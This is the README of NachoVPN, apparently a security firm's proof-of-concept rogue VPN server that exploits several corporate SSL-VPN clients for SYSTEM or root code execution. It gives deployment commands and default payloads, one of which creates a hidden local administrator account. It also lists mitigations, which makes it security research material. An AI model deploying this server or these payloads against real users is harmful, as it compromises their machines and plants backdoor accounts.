NachoVPN is a Proof of Concept that demonstrates exploitation of SSL-VPN clients, using a rogue VPN server.
It uses a plugin-based architecture so that support for additional SSL-VPN products can be contributed by the community. It currently supports various popular corporate VPN products, such as Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, and Ivanti Connect Secure.
For further details, see our blog post, and HackFest Hollywood 2024 presentation [slides|video].
- Python 3.9 or later
- Docker (optional)
- osslsigncode (Linux only)
- msitools (Linux only)
- git (optional)
NachoVPN can be installed from GitHub using pip. Note that this requires git to be installed.
First, create a virtual environment. On Linux, this can be done with:
python3 -m venv env
source env/bin/activate
On Windows, use:
python -m venv env
.\env\Scripts\activate
Then, install NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
If you prefer to use Docker, then you can pull the container from the GitHub Container Registry:
docker pull ghcr.io/amberwolfcyber/nachovpn:release
First, clone this repository, and install setuptools
and wheel
via pip. You can then run the setup.py
script:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
This will generate a wheel file in the dist
directory, which can be installed with pip:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
Alternatively, for local development you can install the package in editable mode using:
pip install -e .
You can build the container image with the following command:
docker build -t nachovpn:latest .
To run the server as standalone, use:
python -m nachovpn.server
Alternatively, you can run the server using Docker:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
This will generate a certificate for the SERVER_FQDN
using certbot, and save it to the certs
directory, which we've mounted into the container.
Alternatively, for testing purposes, you can skip the certificate generation by setting the SKIP_CERTBOT
environment variable.
This will generate a self-signed certificate instead.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
An example docker-compose file is also provided for convenience.
You can run nachovpn
with the -d
or --debug
command line arguments in order to increase the verbosity of logging, which can aid in debugging.
Alternatively, if the logging is too noisy, you can use the q
or --quiet
command line argument instead.
NachoVPN supports the following plugins and capabilities:
Plugin | Product | CVE | Windows RCE | macOS RCE | Privileged | URI Handler | Packet Capture | Demo |
---|---|---|---|---|---|---|---|---|
Cisco | Cisco AnyConnect | N/A | โ | โ | โ | โ | โ | Windows / macOS |
SonicWall | SonicWall NetExtender | CVE-2024-29014 | โ | โ | โ | โ | โ | Windows |
PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (partial fix) | โ | โ | โ | โ | โ | Windows / macOS / iOS |
PulseSecure | Ivanti Connect Secure | N/A | โ | โ | โ | โ (Windows only) | โ | Windows |
- The Ivanti Connect Secure (Pulse Secure) URI handler can be triggered by visiting the
/pulse
URL on the NachoVPN server. - The SonicWall NetExtender URI handler can be triggered by visiting the
/sonicwall
URL on the NachoVPN server. This requires that the SonicWall Connect Agent is installed on the client machine.
- It is recommended to use a TLS certificate that is signed by a trusted Certificate Authority. The docker container automates this process for you, using certbot. If you do not use a trusted certificate, then NachoVPN will generate a self-signed certificate instead, which in most cases will either cause the client to prompt with a certificate warning, or it will refuse to connect unless you modify the client settings to accept self-signed certificates. For the Palo Alto GlobalProtect plugin, this will also cause the MSI installer to fail.
- In order to simulate a valid codesigning certificate for the SonicWall plugin, NachoVPN will sign the
NACAgent.exe
payload with a self-signed certificate. For testing purposes, you can download and install this CA certificate from/sonicwall/ca.crt
before triggering the exploit. For production use-cases, you will need to obtain a valid codesigning certificate from a public CA, sign yourNACAgent.exe
payload, and place it in thepayloads
directory (or volume mount it into/app/payloads
, if using docker). - For convenience, a default
NACAgent.exe
payload is generated for the SonicWall plugin, and written to thepayloads
directory. This simply spawns a newcmd.exe
process on the current user's desktop, running asSYSTEM
. - The Palo Alto GlobalProtect plugin requires that the MSI installers and
msi_version.txt
file are present in thedownloads
directory. Either add these manually, or run themsi_downloader.py
script to download them.
To disable a plugin, add it to the DISABLED_PLUGINS
environment variable. For example:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN is configured using environment variables. This makes it easily compatible with containerised deployments.
Global environment variables:
Variable | Description | Default |
---|---|---|
SERVER_FQDN |
The fully qualified domain name of the server. | connect.nachovpn.local |
EXTERNAL_IP |
The external IP address of the server. | 127.0.0.1 |
WRITE_PCAP |
Whether to write captured PCAP files to disk. | false |
DISABLED_PLUGINS |
A comma-separated list of plugins to disable. | |
USE_DYNAMIC_SERVER_THUMBPRINT |
Whether to calculate the server certificate thumbprint dynamically from the server (useful if behind a proxy). | false |
SERVER_SHA1_THUMBPRINT |
Allows overriding the calculated SHA1 thumbprint for the server certificate. | |
SERVER_MD5_THUMBPRINT |
Allows overriding the calculated MD5 thumbprint for the server certificate. |
Plugin specific environment variables:
Variable | Description | Default |
---|---|---|
VPN_NAME |
The name of the VPN profile, which is presented to the client for Cisco AnyConnect. | NachoVPN |
PULSE_LOGON_SCRIPT |
The path to the Pulse Secure logon script. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS |
The path to the Pulse Secure logon script for macOS. | |
PULSE_DNS_SUFFIX |
The DNS suffix to be used for Pulse Secure connections. | nachovpn.local |
PULSE_USERNAME |
The username to be pre-filled in the Pulse Secure logon dialog. | |
PULSE_SAVE_CONNECTION |
Whether to save the Pulse Secure connection in the user's client. | false |
PULSE_ANONYMOUS_AUTH |
Whether to use anonymous authentication for Pulse Secure connections. If set to true , the user will not be prompted for a username or password. |
false |
PALO_ALTO_MSI_ADD_FILE |
The path to a file to be added to the Palo Alto installer MSI. | |
PALO_ALTO_MSI_COMMAND |
The command to be executed by the Palo Alto installer MSI. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH |
Whether to force the patching of the MSI installer if it already exists in the payloads directory. | false |
PALO_ALTO_PKG_COMMAND |
The command to be executed by the Palo Alto installer PKG on macOS. | touch /tmp/pwnd |
CISCO_COMMAND_WIN |
The command to be executed by the Cisco AnyConnect OnConnect.vbs script on Windows. | calc.exe |
CISCO_COMMAND_MACOS |
The command to be executed by the Cisco AnyConnect OnConnect.sh script on macOS. | touch /tmp/pwnd |
We recommend the following mitigations:
- Ensure SSL-VPN clients are updated to the latest version available from the vendor.
- Most VPN clients support the concept of locking down the VPN profile to a specific endpoint, or using an always-on VPN mode. This should be enabled where possible.
- Unfortunately, in some cases this lockdown can be removed by a malicious local user, therefore it is also recommended to use host-based firewall rules to restrict the IP addresses that the VPN client can communicate with.
- Consider using an Application Control policy, such as WDAC, or an EDR solution to ensure that only approved executables and scripts can be executed by the VPN client.
- Detect and alert on VPN clients executing non-standard child processes.
- AmberWolf Blog: NachoVPN
- HackFest Hollywood 2024: Very Pwnable Networks: Exploiting the Top Corporate VPN Clients for Remote Root and SYSTEM Shells, Rich Warren & David Cash [video]
- BlackHat 2008: Leveraging the Edge: Abusing SSL VPNs, Mike Zusman
- BlackHat 2019: Infiltrating Corporate Intranet Like NSA, Orange Tsai & Meh Chang
- NCC Group: Making New Connections: Leveraging Cisco AnyConnect Client to Drop and Run Payloads, David Cash & Julian Storr
- The OpenConnect Project
We welcome contributions! Please open an issue or raise a Pull Request.
If you're interested in developing a new plugin, you can take a look at the ExamplePlugin to get started.
NachoVPN is licensed under the MIT license. See the LICENSE file for details.